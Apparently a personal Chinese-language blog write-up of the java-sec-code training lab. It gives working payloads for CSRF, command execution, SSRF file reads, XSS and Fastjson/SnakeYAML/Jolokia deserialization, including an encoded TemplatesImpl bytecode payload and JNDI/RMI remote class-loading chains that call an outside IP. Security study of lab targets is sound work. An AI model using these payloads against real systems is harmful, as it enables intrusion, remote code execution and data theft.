avatar

cindahy

A text-focused Halo theme

  • 首页
  • 文章分类
  • 项目
  • 关于
Home java-sec-code
文章

java-sec-code

Posted 2025-08-9 Updated 2025-08- 12
By Administrator
77~99 min read

靶场地址:https://github.com/JoyChou93/java-sec-code

CSRF

CSRF 漏洞的核心是:攻击者诱导已登录目标网站的用户,在不知情的情况下发送恶意请求(利用用户的合法会话),而服务器未验证请求的合法性(缺少 CSRF 令牌校验),导致请求被成功执行。

问题发现

首先这里的csrf是存在缺陷的。

源码分析

可以看到这里默认不开启csrf校验,就算开启也是只针对post方法。

所以可以在自己的服务器上写一个恶意脚本

<html>
  <body>
    <form action="http://localhost:8080/csrf/post" method="POST">
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html>

受害者在登录状态访问此恶意界面之后,浏览器会自动提交表单,向 http://localhost:8080/csrf/post 发送 POST 请求,且请求会携带受害者的合法会话凭证,由于未验证csrf令牌,服务器误认为是用户的合法操作,执行并返回CSRF passed,攻击成功。

修复点在于开启csrf防护,如果开启csrf防护之后,由于攻击者无法跨域获取受害者的CSRF令牌,服务器会校验错误导致无法访问。

利用

可以利用这一点利用受害者的合法身份,在受害者不知情的情况下执行未授权操作。

本来想试试修改密码的,但是这里好像没有对应的API,所以这里尝试登出并偷偷登录到另一个账号。

把恶意界面改成这样就行了

<!DOCTYPE html>
<html>
<head>
    <title>恶意演示页面</title>
</head>
<body>
    <!-- 步骤1:自动发送退出登录请求(假设/logout是GET且无CSRF保护) -->
    <img src="http://localhost:8080/logout" style="display:none" />

    <!-- 步骤2:尝试自动提交登录表单(因CSRF令牌保护会失败) -->
    <form id="loginForm" action="http://localhost:8080/login" method="post">
        <input type="hidden" name="username" value="admin" /> <!-- 攻击者指定的账号 -->
        <input type="hidden" name="password" value="admin123" /> <!-- 攻击者指定的密码 -->
        <input type="hidden" name="remember-me" value="true" />
        <!-- 缺少CSRF令牌,登录请求会被服务器拒绝 -->
    </form>

    <script>
        // 延迟提交登录表单,确保退出请求先执行
        setTimeout(function() {
            document.getElementById("loginForm").submit();
        }, 1000);
    </script>
</body>
</html>

这样子就会在受害者不知情的情况下登录到另一个账号。

修复

开启网站的csrf保护就行。

RCE

Java命令执行的几种方式

Runtime类系统执行命令
  • 核心代码

Process p = Runtime.getRuntime().exec("calc");
  • 详细代码

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Runtime1 {

       public static void main(String[] args) {
            try {
                Process p = Runtime.getRuntime().exec("whoami");
                InputStream input = p.getInputStream();
                InputStreamReader ins = new InputStreamReader(input, "utf-8");
                //InputStreamReader 字节流到字符流,并指定编码格式
                BufferedReader br = new BufferedReader(ins);
                //BufferedReader 从字符流读取文件并缓存字符
                String line;
                line = br.readLine();
                System.out.println(line);
                br.close();
                ins.close();
                input.close();          
                
            } catch (IOException e) {
                e.printStackTrace();
            }
        }

}

通过Runtime类exec方法执行命令获取输入流getInputStream(),再InputStreamReader过渡到字符流,并指定gbk的编码格式。BufferedReader 再从字符输入流中读取文本并缓冲字符。再通过readLine()方法打印出结果。

源码:

 @GetMapping("/runtime/exec")
    public String CommandExec(String cmd) {
        Runtime run = Runtime.getRuntime();
        StringBuilder sb = new StringBuilder();

        try {
            Process p = run.exec(cmd);
            BufferedInputStream in = new BufferedInputStream(p.getInputStream());
            BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
            String tmpStr;

            while ((tmpStr = inBr.readLine()) != null) {
                sb.append(tmpStr);
            }

            if (p.waitFor() != 0) {
                if (p.exitValue() == 1)
                    return "Command exec failed!!";
            }

            inBr.close();
            in.close();
        } catch (Exception e) {
            return e.toString();
        }
        return sb.toString();
    }
ProcessBuilder类命令执行

ProcessBuilder类通过创建系统进程执行命令。

核心代码

ProcessBuilder builder = new ProcessBuilder("whoami");
Process process = builder.start();

详细代码

import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

public class ProcessBuilder1 {

    public static void main(String[] args) {
        try {
            String[] cmds = new String[]{"/bin/bash","-c","whoami"};
            ProcessBuilder builder = new ProcessBuilder(cmds);
            Process process = builder.start();
            InputStream in = process.getInputStream();
            //获取输入流
            InputStreamReader ins = new InputStreamReader(in, "utf-8");
            // 字节流转化为字符流,并指定编码格式
            char[] chs = new char[1024];
            int len = ins.read(chs);
            System.out.println(new String(chs,0,len));
            ins.close();
            in.close();
            
        } catch (IOException e) {
            e.printStackTrace();
        }

    }

}

通过ProcessBuilder类执行系统命令获取结果。注意将命令隔开,同样转化为字符流InputStreamReader,并指定编码格式。read方法读取该字符流。将结果转化为字符串进行输出。

访问http://localhost:8080/rce/ProcessBuilder?cmd=whoami

源码:

 @GetMapping("/ProcessBuilder")
    public String processBuilder(String cmd) {

        StringBuilder sb = new StringBuilder();

        try {
            String[] arrCmd = {"/bin/sh", "-c", cmd};
            ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);
            Process p = processBuilder.start();
            BufferedInputStream in = new BufferedInputStream(p.getInputStream());
            BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
            String tmpStr;

            while ((tmpStr = inBr.readLine()) != null) {
                sb.append(tmpStr);
            }
        } catch (Exception e) {
            return e.toString();
        }

        return sb.toString();
    }
反射调用Processlmpl 类执行系统命令

Runtime和ProcessBuilder执行命令实际上也调用了也是Processlmpl类。对于该类,没有构造方法,只有一个private类型的方法。可以通过反射调用。

核心代码

Class clazz = Class.forName("java.lang.ProcessImpl");
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, Redirect[].class, boolean.class);
method.setAccessible(true);
Process e = (Process) method.invoke(null, new String[]{"calc"}, null, ".", null, true); 

详细代码:

import java.io.ByteArrayOutputStream;
import java.lang.ProcessBuilder.Redirect;
import java.lang.reflect.Method;
import java.util.Map;

@SuppressWarnings("unchecked")
public class ProcessImpl1{
    public static void main(String[] args) throws Exception {
        String[] cmds = new String[]{"whoami"};
        Class clazz = Class.forName("java.lang.ProcessImpl");
        // 通过反射获取ProcessImpl类中声明的start方法
        Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, Redirect[].class, boolean.class);
        method.setAccessible(true);
        Process e = (Process) method.invoke(null, cmds, null, ".", null, true);
        byte[] bs = new byte[2048];
        int readSize = 0;
        ByteArrayOutputStream infoStream = new ByteArrayOutputStream();
        while ((readSize = e.getInputStream().read(bs)) > 0) {
            infoStream.write(bs, 0, readSize);
        }
        System.out.println(infoStream.toString());
    }
}

从Processlmpl类的class对象中获取到方法然后反射调用,获取字节输入流getInputStream的结果。ByteArrayOutputStream 创建字节数组缓冲区。read() 方法读取字节流大小,并写进缓冲区。最后将缓冲区结果转化为字符串,并指定utf-8编码格式输出。

反射调用Runtime类执行系统命令

核心代码

Class clazz = Class.forName("java.lang.Runtime");
Constructor constructor = clazz.getDeclaredConstructor();
constructor.setAccessible(true);
Object runtimeInstance = constructor.newInstance();
Method runtimeMethod = clazz.getMethod("exec", String.class);
Process process = (Process) runtimeMethod.invoke(runtimeInstance, "calc");

java.lang.Runtime类的无参构造方法私有的,可以通过反射修改方法的访问权限setAccessible,强制可以访问,然后获取类构造器的方法。再通过类加载newInstance()创建对象,反射再调用方法。

详细代码:

import java.io.ByteArrayOutputStream;
import java.lang.ProcessBuilder.Redirect;
import java.lang.reflect.Method;
import java.util.Map;

@SuppressWarnings("unchecked")
public class ProcessImpl1{
    public static void main(String[] args) throws Exception {
        String[] cmds = new String[]{"whoami"};
        Class clazz = Class.forName("java.lang.ProcessImpl");
        Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, Redirect[].class, boolean.class);
        method.setAccessible(true);
        Process e = (Process) method.invoke(null, cmds, null, ".", null, true);
        byte[] bs = new byte[2048];
        int readSize = 0;
        ByteArrayOutputStream infoStream = new ByteArrayOutputStream();
        while ((readSize = e.getInputStream().read(bs)) > 0) {
            infoStream.write(bs, 0, readSize);
        }
        System.out.println(infoStream.toString());
    }
}
JavaScript命令执行

javax.script.ScriptEngine类是java自带的用于解析并执行js代码,可以在java中解析javascript代码。

核心代码:

String str = "Jscode";
        ScriptEngineManager manager = new ScriptEngineManager(null);
        ScriptEngine engine = manager.getEngineByName("js");
        //通过名称 "js" 获取 JavaScript 脚本引擎
        //返回的 ScriptEngine 对象可用于执行 JavaScript 代码
        engine.eval(str);

源码:

    @GetMapping("/jscmd")
    public void jsEngine(String jsurl) throws Exception{
        // js nashorn javascript ecmascript
        ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
        Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);
        String cmd = String.format("load(\"%s\")", jsurl);
        engine.eval(cmd, bindings);
    }
http://localhost:8080/rce/jscmd?jsurl=http://47.111.94.227/rce/vue.js
Yaml反序列化命令执行

SnakeYaml是用来解析yaml的格式,可以用于Java对象的序列化、反序列化。

核心代码

@GetMapping("/vuln/yarm")
public void yarm(String agrs) {
String content = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://o5s7wr.dnslog.cn\"]\n" +
" ]]\n" +
"]";
Yaml y = new Yaml();
y.load(content);
}
http://localhost:8080/rce/vuln/yarm?content=!!javax.script.ScriptEngineManager%20[!!java.net.URLClassLoader%20[[!!java.net.URL%20[%22http://test.joychou.org:8086/yaml-payload.jar%22]]]]

实现了ScriptEngineFactory接口,然后调用Runtime.getRuntime().exec执行命令。

Groovy 命令执行

Groovy是一种基于JVM(java虚拟机)的敏捷开发语言,它结合了Python、Ruby和Smalltalk的许多强大的特性,Groovy代码能够与java代码很好的结合,也可以用于扩展现有代码。由于其运行在JVM上的特性,Groovy可以使用其他java语言编写的库。

可以使用GroovyShell类来执行任何Groovy脚本

/**
 * http://localhost:8080/rce/groovy?content="open -a Calculator".execute()
 * @param content groovy shell
 */
@GetMapping("/groovy")
public void groovyshell(String content) {
GroovyShell groovyShell = new GroovyShell();
groovyShell.evaluate(content);
}

利用如下

Actuators to RCE

项目使用logback作为日志框架,若同时启用Jolokia,且配置不当,就可能会导致远程恶意代码执行。

logback文件是是Logback日志框架的配置文件,用于定义日志的输出格式、级别、目的地(如控制台台、文件)等核心行为。

<configuration>
    <appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender">
        <withJansi>true</withJansi>
        <encoder>
            <pattern>[%thread] %highlight(%-5level) %cyan(%logger{15}) - %msg %n</pattern>
        </encoder>
    </appender>
    <root level="info">
        <appender-ref ref="STDOUT" />
    </root>
    <jmxConfigurator/>
</configuration>
  • appende(输出器):定义了一个名STDOUT的输出器,负责日志的输出逻辑,将日志输出到控制台

  • encoder(编码器):定义日志的输出格式

  • root(根日志器):定义全局日志的默认行为,设置日志级别为info。

  • JWM(配置器):允许通过JMX工具动态修改日志配置

EXP:

http://localhost:8080/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/47.111.94.227/rce/xxx.xml
#http://localhost:8090/jolokia/exec/[MBean名称]/[方法名]/[参数]
<configuration>
  <!-- 利用Logback的JNDI注入特性执行代码 -->
  <insertFromJNDI env-entry-name="ldap://恶意LDAP服务器/恶意类" as="variable" />
</configuration>

当 Logback 解析该配置时,会触发 JNDI 查询,从恶意 LDAP 服务器加载并执行恶意类,最终实现 RCE。

Broken Access Control

某些应用获用户身份信息可能会直接从cookie中直接获取明文的nick,导致越权问题


    @GetMapping(value = "/vuln01")
    public String vuln01(HttpServletRequest req) {
        String nick = WebUtils.getCookieValueByName(req, NICK); // key code
        return "Cookie nick: " + nick;
    }


    @GetMapping(value = "/vuln02")
    public String vuln02(HttpServletRequest req) {
        String nick = null;
        Cookie[] cookie = req.getCookies();

        if (cookie != null) {
            nick = getCookie(req, NICK).getValue();  // key code
        }

        return "Cookie nick: " + nick;
    }


    @GetMapping(value = "/vuln03")
    public String vuln03(HttpServletRequest req) {
        String nick = null;
        Cookie cookies[] = req.getCookies();
        if (cookies != null) {
            for (Cookie cookie : cookies) {
                // key code. Equals can also be equalsIgnoreCase.
                if (NICK.equals(cookie.getName())) {
                    nick = cookie.getValue();
                }
            }
        }
        return "Cookie nick: " + nick;
    }


    @GetMapping(value = "/vuln04")
    public String vuln04(HttpServletRequest req) {
        String nick = null;
        Cookie cookies[] = req.getCookies();
        if (cookies != null) {
            for (Cookie cookie : cookies) {
                if (cookie.getName().equalsIgnoreCase(NICK)) {  // key code
                    nick = cookie.getValue();
                }
            }
        }
        return "Cookie nick: " + nick;
    }


    @GetMapping(value = "/vuln05")
    public String vuln05(@CookieValue("nick") String nick) {
        return "Cookie nick: " + nick;
    }


    @GetMapping(value = "/vuln06")
    public String vuln06(@CookieValue(value = "nick") String nick) {
        return "Cookie nick: " + nick;
    }

XSS

发现

利用

#反射型
http://localhost:8080/xss/reflect?xss=<script>alert(document.cookie)</script>
#存储型
http://localhost:8080/xss/stored/store?xss=<script>alert('Stored XSS')</script>
再访问http://localhost:8080/xss/stored/show

xss可以进行敏感信息窃取(如cookie)或者钓鱼等危害

恢复

可以进行输入过滤输出编码等如

@RequestMapping("/safe")
@ResponseBody
public static String safe(String xss) {
return encode(xss);
}

private static String encode(String origin) {
origin = StringUtils.replace(origin, "&", "&amp;");
origin = StringUtils.replace(origin, "<", "&lt;");
origin = StringUtils.replace(origin, ">", "&gt;");
origin = StringUtils.replace(origin, "\"", "&quot;");
origin = StringUtils.replace(origin, "'", "&#x27;");
origin = StringUtils.replace(origin, "/", "&#x2F;");
}  

SSRF

利用

http://localhost:8080/ssrf/urlConnection/vuln?url=file:///etc/passwd
http://localhost:8080/ssrf/urlConnection/sec?url=http://47.111.94.227/ssrf/a.php

关于java重定向特性的验证

在服务器端创建一个文件

<?php
$url = 'gopher://47.111.94.227/csrf/a.html';
header("location: $url");
?>

并访问

http://localhost:8080/ssrf/urlConnection/sec?url=http://47.111.94.227/ssrf/a.php

发现并没有产生直接访问47.111.94.227/csrf/a.html,应该有的登出效果

收到异常

java.net.MalformedURLException: unknown protocol: gopher

跟踪报错代码

private boolean followRedirect() throws IOException {
if(!this.getInstanceFollowRedirects()) {
    return false;
} else {
    final int var1 = this.getResponseCode();
    if(var1 >= 300 && var1 <= 307 && var1 != 306 && var1 != 304) {
        final String var2 = this.getHeaderField("Location");
        if(var2 == null) {
            return false;
        } else {
            URL var3;
            try {
                // 该行代码发生异常
                /* 该行代码,表示传入的协议必须和重定向的协议一致*/
                        
                if(!this.url.getProtocol().equalsIgnoreCase(var3.getProtocol())) {
                    return false;
                }
            } catch (MalformedURLException var8) {
                var3 = new URL(this.url, var2);
            }

这里的followRedirect方法可以看到,传入的URL协议必须和重定向后的URL协议一致。如果不一致,相当于没有进行重定向,返回空页面。

所以,Java的SSRF利用方式比较局限:

  • 利用file协议任意文件读取

  • 利用http协议探测端口或攻击内网服务

XXE

利用

@RequestMapping(value = "/DocumentBuilder/vuln01", method = RequestMethod.POST)
public String DocumentBuilderVuln01(HttpServletRequest request) {
try {
    String body = WebUtils.getRequestBody(request);
    logger.info(body);
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    DocumentBuilder db = dbf.newDocumentBuilder();
    StringReader sr = new StringReader(body);
    InputSource is = new InputSource(sr);
    Document document = db.parse(is);  // parse xml

    // 遍历xml节点name和value
    StringBuilder buf = new StringBuilder();
    NodeList rootNodeList = document.getChildNodes();
    for (int i = 0; i < rootNodeList.getLength(); i++) {
        Node rootNode = rootNodeList.item(i);
        NodeList child = rootNode.getChildNodes();
        for (int j = 0; j < child.getLength(); j++) {
            Node node = child.item(j);
            buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));
        }
    }
    sr.close();
    return buf.toString();
} catch (Exception e) {
    logger.error(e.toString());
    return EXCEPT;
}
}

有回显的利用方式

利用file协议读取文件

XML 元素中,”<” 和 “&” 是非法的。”<” 会产生错误,因为解析器会把该字符解释为新元素的开始。”&” 也会产生错误,因为解析器会把该字符解释为字符实体的开始。

FileUpload

对于文件上传来说,目前这类漏洞在spring里非常少,原因有两点

  1. 大多数公司上传的文件都会到cdn

  2. spring的jsp文件必须在web-inf目录下才能执行

除非,可以上传war包到tomcat的webapps目录。

  @PostMapping("/upload")
    public String singleFileUpload(@RequestParam("file") MultipartFile file,
                                   RedirectAttributes redirectAttributes) {
        if (file.isEmpty()) {
            // 赋值给uploadStatus.html里的动态参数message
            redirectAttributes.addFlashAttribute("message", "Please select a file to upload");
            return "redirect:/file/status";
        }

        try {
            // Get the file and save it somewhere
            byte[] bytes = file.getBytes();
            Path path = Paths.get(UPLOADED_FOLDER + file.getOriginalFilename());
            Files.write(path, bytes);

            redirectAttributes.addFlashAttribute("message",
                    "You successfully uploaded '" + UPLOADED_FOLDER + file.getOriginalFilename() + "'");

        } catch (IOException e) {
            redirectAttributes.addFlashAttribute("message", "upload failed");
            logger.error(e.toString());
        }

        return "redirect:/file/status";
    }

    @GetMapping("/status")
    public String uploadStatus() {
        return "uploadStatus";
    }

这里未对上传文件做出任何限制

以下是相对安全的文件上传方式,包括校验文件后缀名,MIME头,用isimage()函数调用ImageIO.read()判断内容是否是文件,

  // only upload picture
    @PostMapping("/upload/picture")
    @ResponseBody
    public String uploadPicture(@RequestParam("file") MultipartFile multifile) throws Exception {
        if (multifile.isEmpty()) {
            return "Please select a file to upload";
        }

        String fileName = multifile.getOriginalFilename();
        String Suffix = fileName.substring(fileName.lastIndexOf(".")); // 获取文件后缀名
        String mimeType = multifile.getContentType(); // 获取MIME类型
        String filePath = UPLOADED_FOLDER + fileName;
        File excelFile = convert(multifile);


        // 判断文件后缀名是否在白名单内  校验1
        String[] picSuffixList = {".jpg", ".png", ".jpeg", ".gif", ".bmp", ".ico"};
        boolean suffixFlag = false;
        for (String white_suffix : picSuffixList) {
            if (Suffix.toLowerCase().equals(white_suffix)) {
                suffixFlag = true;
                break;
            }
        }
        if (!suffixFlag) {
            logger.error("[-] Suffix error: " + Suffix);
            deleteFile(filePath);
            return "Upload failed. Illeagl picture.";
        }


        // 判断MIME类型是否在黑名单内 校验2
        String[] mimeTypeBlackList = {
                "text/html",
                "text/javascript",
                "application/javascript",
                "application/ecmascript",
                "text/xml",
                "application/xml"
        };
        for (String blackMimeType : mimeTypeBlackList) {
            // 用contains是为了防止text/html;charset=UTF-8绕过
            if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType)) {
                logger.error("[-] Mime type error: " + mimeType);
                deleteFile(filePath);
                return "Upload failed. Illeagl picture.";
            }
        }

        // 判断文件内容是否是图片 校验3
        boolean isImageFlag = isImage(excelFile);
        deleteFile(randomFilePath);

        if (!isImageFlag) {
            logger.error("[-] File is not Image");
            deleteFile(filePath);
            return "Upload failed. Illeagl picture.";
        }


        try {
            // Get the file and save it somewhere
            byte[] bytes = multifile.getBytes();
            Path path = Paths.get(UPLOADED_FOLDER + multifile.getOriginalFilename());
            Files.write(path, bytes);
        } catch (IOException e) {
            logger.error(e.toString());
            deleteFile(filePath);
            return "Upload failed";
        }

        logger.info("[+] Safe file. Suffix: {}, MIME: {}", Suffix, mimeType);
        logger.info("[+] Successfully uploaded {}", filePath);
        return String.format("You successfully uploaded '%s'", filePath);
    }

 private void deleteFile(String filePath) {
        File delFile = new File(filePath);
        if(delFile.isFile() && delFile.exists()) {
            if (delFile.delete()) {
                logger.info("[+] " + filePath + " delete successfully!");
                return;
            }
        }
        logger.info(filePath + " delete failed!");
    }

但是由于这里没有对文件名进行严格的检验,所以这里有目录穿越漏洞,可以将文件传入任意地方,如下,把文件传入上级目录。

我有点找不到它的网站根目录在哪里,直接访问或者tmp访问都会报错,好像不应该这样,不知道为什么。这很奇怪。。。

Fastjson

Fastjson 是阿里巴巴开源的高性能 JSON 解析库,专为 Java 设计,具备超快的 JSON 解析速度和丰富的功能。它支持 JSON 与 Java 对象之间的序列化与反序列化,适用于 Web 应用、分布式系统、缓存等场景。

Fastjson反序列化漏洞被利用的原因,主要归结为

  • Fastjson提供了反序列化功能,允许用户在输入JSON串时通过“@type”键对应的value指定任意反序列化类名;

  • Fastjson自定义的反序列化机制会使用反射生成上述指定类的实例化对象,并自动调用该对象的setter方法及部分getter方法。

攻击者可以构造恶意请求,使目标应用的代码执行流程进入这部分特定setter或getter方法,若上述方法中有可以被恶意利用的逻辑,则会产生一些严重的安全问题。

核心代码:


public class Fastjson {

    @RequestMapping(value = "/deserialize", method = {RequestMethod.POST})
    @ResponseBody
    public String Deserialize(@RequestBody String params) {
        // 如果Content-Type不设置application/json格式,post数据会被url编码
        try {
            // 将post提交的string转换为json
            JSONObject ob = JSON.parseObject(params);
            //这里直接反序列化用户可控的JSON字符串
            return ob.get("name").toString();
        } catch (Exception e) {
            return e.toString();
        }
    }

    public static void main(String[] args) {
        // 在macOS系统中打开计算器
        String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\": [\"yv66vgAAADEAOAoAAwAiBwA2BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQAzTG1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAhFeHAuamF2YQwACgALBwAoAQAxbWUvbGlnaHRsZXNzL2Zhc3Rqc29uL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAHW1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASb3BlbiAtYSBDYWxjdWxhdG9yCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA9saWdodGxlc3MvcHduZXIBABFMbGlnaHRsZXNzL3B3bmVyOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwA3AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAD8ADgAAACAAAwAAAAEADwA3AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAEIADgAAACoABAAAAAEADwA3AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAABsAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAAAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACQ==\"], \"_name\": \"lightless\", \"_tfactory\": { }, \"_outputProperties\":{ }}";
        JSON.parseObject(payload, Feature.SupportNonPublicField);
        //Feature.SupportNonPublicField:允许设置私有字段
    }
}

这里存在恶意Payload构造

String payload = "{\"@type\":\"com.sun....TemplatesImpl\", \"_bytecodes\":[\"yv66vgAAAD...\"], ...}";
JSON.parseObject(payload, Feature.SupportNonPublicField);

//解码后可见该class主要包含:
// static {
//     Runtime.getRuntime().exec("open -a Calculator");
// }

使用DNSLOG验证

{"name":{"@type":"java.net.Inet4Address","val":"jn7u4i.dnslog.cn"}}

dnslog.cn会为每个用户生成唯一子域名,当目标系统解析此域名时,dnslog会记录查询日志,并进行可视化展示,所以可以借此判断是否存在漏洞点。

当Fastjson反序列化该JSON时:

  1. 会尝试创建Inet4Address实例、

  2. 自动调用val的setter方法(即Inet4Address.getByName("jn7u4i.dnslog.cn"))

  3. 触发DNS查询

任意命令执行

// TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

此文件的作用就是创建了一个文件

编译代码之后,上传服务器,映射到8000端口

javac TouchFile.java
python3 -m http.server 8000

借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class。

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://47.111.94.227/#TouchFile 9999

显示监听后,在客户端发送payload

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://47.111.94.227:9999/TouchFile",
        "autoCommit":true
    }
}

本来应该监听到这种类型的信息

╰─$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.8.103:4444/#TouchFile 9999
* Opening JRMP listener on 9999
Have connection from /192.168.8.103:54177
Reading message...
Is RMI.lookup call for TouchFile 2
Sending remote classloading stub targeting http://192.168.8.103:4444/TouchFile.class
Closing connection

╰─$ python3 -m http.server 4444
Serving HTTP on :: port 4444 (http://[::]:4444/) ...
::ffff:192.168.8.103 - - [28/Sep/2021 16:06:29] "GET /TouchFile.class HTTP/1.1" 200 -

但是我这里试了很多次都没有成功,先往下走吧,:(

靶场
靶场
License:  CC BY 4.0
Share

Further Reading

Aug 10, 2025

javaspring项目利用

这个项目完全就是个框架,只是勉强实现了业务逻辑,基本什么安全性都没有考虑。 codeql database create databaseName --source-root=D:\apache-tomcat-9.0.104\webapps\chessWebsite\chessWebsite-mas

Aug 9, 2025

java-sec-code

靶场地址:https://github.com/JoyChou93/java-sec-code CSRF CSRF 漏洞的核心是:攻击者诱导已登录目标网站的用户,在不知情的情况下发送恶意请求(利用用户的合法会话),而服务器未验证请求的合法性(缺少 CSRF 令牌校验),导致请求被成功执行。

OLDER

Fastjson反序列化基础

NEWER

javaspring项目利用

Recently Updated

  • 常见安全产品整理(防火墙,WAF,EDR)
  • ELK从入门到实践
  • bp+mumu模拟器app抓包
  • xray漏扫工具
  • Java反序列化-RMI的几种攻击方式

Trending Tags

安全运营 文件上传 php反序列化 xss csrf ssrf xxe sql php 白帽子讲web安全

Contents

©2025 cindahy. Some rights reserved.

Using the Halo theme Chirpy